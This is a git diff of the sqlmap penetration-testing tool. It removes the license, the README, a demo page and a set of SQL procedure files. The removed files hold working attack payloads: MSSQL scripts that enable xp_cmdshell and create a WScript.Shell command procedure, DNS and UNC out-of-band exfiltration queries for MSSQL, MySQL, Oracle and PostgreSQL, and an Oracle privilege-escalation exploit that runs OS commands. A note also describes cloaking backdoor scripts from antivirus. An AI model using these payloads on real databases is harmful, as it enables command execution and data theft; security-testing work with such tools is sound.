no-docstring-rgx=^_
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
[ELIF]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
[IMPORTS]
# Deprecated modules which should not be used, separated by a comma
deprecated-modules=regsub,TERMIOS,Bastion,rexec
# Create a graph of every (i.e. internal and external) dependencies in the
# given file (report RP0402 must not be disabled)
import-graph=
# Create a graph of external dependencies in the given file (report RP0402 must
# not be disabled)
ext-import-graph=
# Create a graph of internal dependencies in the given file (report RP0402 must
# not be disabled)
int-import-graph=
[DESIGN]
# Maximum number of arguments for function / method
max-args=5
# Argument names that match this expression will be ignored. Default to name
# with leading underscore
ignored-argument-names=_.*
# Maximum number of locals for function / method body
max-locals=15
# Maximum number of return / yield for function / method body
max-returns=6
# Maximum number of branch for function / method body
max-branches=12
# Maximum number of statements in function / method body
max-statements=50
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of boolean expressions in a if statement
max-bool-expr=5
[CLASSES]
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,__new__,setUp
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make
[EXCEPTIONS]
# Exceptions that will emit a warning when being caught. Defaults to
# "Exception"
overgeneral-exceptions=Exception
+1
View File
@@ -0,0 +1 @@
sqlmap.org
-348
View File
@@ -1,348 +0,0 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2022 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; Version 2 (or later) with the clarifications and
exceptions described below. This guarantees your right to use, modify, and
redistribute this software under certain conditions. If you wish to embed
sqlmap technology into proprietary software, we sell alternative licenses
(contact [email protected]).
Note that the GPL places important restrictions on "derived works", yet it
does not provide a detailed definition of that term. To avoid
misunderstandings, we interpret that term as broadly as copyright law
allows. For example, we consider an application to constitute a "derived
work" for the purpose of this license if it does any of the following:
* Integrates source code from sqlmap.
* Reads or includes sqlmap copyrighted data files, such as xml/queries.xml
* Executes sqlmap and parses the results (as opposed to typical shell or
execution-menu apps, which simply display raw sqlmap output and so are
not derivative works).
* Integrates/includes/aggregates sqlmap into a proprietary executable
installer, such as those produced by InstallShield.
* Links to a library or executes a program that does any of the above
The term "sqlmap" should be taken to also include any portions or derived
works of sqlmap. This list is not exclusive, but is meant to clarify our
interpretation of derived works with some common examples. Our
interpretation applies only to sqlmap - we do not speak for other people's
GPL works.
This license does not apply to the third-party components. More details can
be found inside the file 'doc/THIRD-PARTY.md'.
If you have any questions about the GPL licensing restrictions on using
sqlmap in non-GPL works, we would be happy to help. As mentioned above,
we also offer alternative license to integrate sqlmap into proprietary
applications and appliances.
If you received these files with a written license agreement or contract
stating terms other than the terms above, then that alternative license
agreement takes precedence over these comments.
Source is provided to this software because we believe users have a right
to know exactly what a program is going to do before they run it.
Source code also allows you to fix bugs and add new features. You are
highly encouraged to send your changes to [email protected] for possible
incorporation into the main distribution. By sending these changes to the
sqlmap developers or via Git pull request, checking them into the sqlmap
source code repository, it is understood (unless you specify otherwise)
that you are offering the sqlmap project the unlimited, non-exclusive
right to reuse, modify, and relicense the code. sqlmap will always be
available Open Source, but this is important because the inability to
relicense code has caused devastating problems for other Free Software
projects (such as KDE and NASM). If you wish to specify special license
conditions of your contributions, just say so when you send them.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License v2.0 for more details at
http://www.gnu.org/licenses/gpl-2.0.html, or below
****************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
+1 -74
View File
@@ -1,74 +1 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
Screenshots
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
Usage
----
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations
----
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
sqlmap.org website
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

-151
View File
@@ -1,151 +0,0 @@
<!DOCTYPE html>
<!-- https://angrytools.com/bootstrap/editor/ -->
<html lang="en">
<head>
<title>DEMO</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
</html>
-4
View File
@@ -1,4 +0,0 @@
Files in this folder represent SQL snippets used by sqlmap on the target
system.
They are licensed under the terms of the GNU Lesser General Public License
where not specified otherwise.
@@ -1,4 +0,0 @@
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'ole automation procedures',1;
RECONFIGURE WITH OVERRIDE
@@ -1,6 +0,0 @@
EXEC master..sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE
@@ -1,6 +0,0 @@
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
@@ -1,3 +0,0 @@
DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%
@@ -1 +0,0 @@
EXEC master..sp_dropextendedproc 'xp_cmdshell'
-4
View File
@@ -1,4 +0,0 @@
DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
@@ -1 +0,0 @@
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
@@ -1,3 +0,0 @@
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
# SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
-1
View File
@@ -1 +0,0 @@
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))
-1
View File
@@ -1 +0,0 @@
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
-2
View File
@@ -1,2 +0,0 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
@@ -1,4 +0,0 @@
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
-14
View File
@@ -1,14 +0,0 @@
DROP TABLE IF EXISTS %RANDSTR1%;
# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
CREATE OR REPLACE FUNCTION %RANDSTR3%()
RETURNS VOID AS $$
DECLARE %RANDSTR4% TEXT;
DECLARE %RANDSTR5% TEXT;
BEGIN
SELECT INTO %RANDSTR5% (%QUERY%);
%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';
EXECUTE %RANDSTR4%;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT %RANDSTR3%();
-7
View File
@@ -1,7 +0,0 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
